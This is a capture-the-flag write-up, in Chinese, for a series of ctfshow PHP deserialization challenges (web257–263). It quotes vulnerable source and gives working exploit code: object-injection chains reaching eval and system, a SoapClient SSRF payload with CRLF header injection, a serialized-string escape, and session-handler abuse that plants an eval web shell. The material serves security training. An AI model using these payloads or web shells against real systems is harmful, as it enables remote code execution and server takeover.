web257
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
显然要执行这个getInfo方法
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
那么就想办法让程序执行到backDoor类里面的getInfo()
构造payload,由于是cookie传参,所以url编码一下
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
web258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
加了一个正则
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
匹配类似于这种类型的字符串,绕过方法是在数字前加一个"+"
其他的思路和上一题一样
poc
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));
记得加上+,他的url编码是%2b
web 259
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php,尝试修改xff头但是没用,返回your ip not 127.0.0.1,说明可能还有代码没给出,猜测可能是ssrf,要利用前面的代码来访问flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
但是前面的代码什么类都没有,那么可能是原生类SoapClient
php有一个特性,如果一个对象调用了一个未定义的方法,那就会自动调用__call()
这个魔法方法
除了添加xff头而且会pop弹出两次,所以我们还需要多给几次127.0.0.1,我们还需要传参:token=ctfshow
构造如下poc:
注意要url编码
<?php
$head = "huamang\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php','uri'=>'http://127.0.0.1/','user_agent'=>$head));
echo urlencode(serialize($a));
payload:
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A139%3A%22huamang%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
执行完了后就可以去访问flag.txt了
web 260
直接???,这和反序列化有啥关系
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
payload:
/?ctfshow=ctfshow_i_love_36D
web 261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
这一题全是坑
- 这个题目php版本是7.4的,那就说明__wakeup是绕不过的,但是这里有一个__unserialize(),定义了一个反序列化方法,这个方法在执行
unserialize()
方法时会自动调用,所以这个wakeup会失效,不用管这个wakeup(注意,这个定义反序列化方法的操作只有在php版本大于7.4才能用) - __invoke()里面有一个eval,也是无效的,无法调用ctfshowvip()的
这题唯一的路就是file_put_contents($this->username, $this->password);
往里面写一句话木马
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
$a = new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo (serialize($a));
蚁剑连接即可
web 262
<?php
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
直接从这里看是看不出什么下手点,不过有一个str_replace()
方法,这个方法结合了序列化会造成反序列化的字符串逃逸
注释里面有一个message.php,访问一下
<?php
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
我们需要让token为admin就可以拿到flag了
这个str_replace()会把fuck换成loveU,多了一个字符,这样就可以挤了
- 每一个fuck换成loveU都会多一个字符
- 我们需要把这段伪造的token字符
";s:5:"token";s:5:"admin";}
拼接到最后,也就是$t的值,这段字符串的长度是27 - 所以我们可以传27个fuck,加上伪造的token一共就是4*27+27个字符
- fuck换成loveU后,已经满足了4*27+27的条件,这样就把
";s:5:"token";s:5:"admin";}
给挤出去了(逃逸出去了) - 逃逸出了变量t的范围后,由于我们精心设计的格式,他会取代之前的token变成新的属性,之前的token就被舍弃掉
payload:
f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web 263
源码泄露,先下载下来
index.php里面有setcookie
<?php
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
在inc.php里面有这个,使用了php引擎
ini_set('session.serialize_handler', 'php');
还有user类
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
看到__destruct()方法里面有 file_put_contents 就应该是把一句话写进一个php文件中
check.php
包含了inc.php,而且会识别cookie,会识别cookie说明就会反序列化cookie的值
<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
poc:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User{
public $username='hm.php';
public $password='<?php eval($_POST[1]);?>';
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
$a = new user();
// 由于setcookie的时候把值给base64加密了,所以这我们也要加密
echo base64_encode("|".serialize($a));
- 得到了一串base64,直接换到index里面的limit里面,刷新一下
- 由于check.php里面包含了inc.php并且会去识别cookie所以我们需要用上他
- 再访问一次check.php让他去识别一下我们的cookie,识别的时候就进行了反序列化,此时就把一句话写进了log-hm.php里面了,然后就开蚁剑就ok了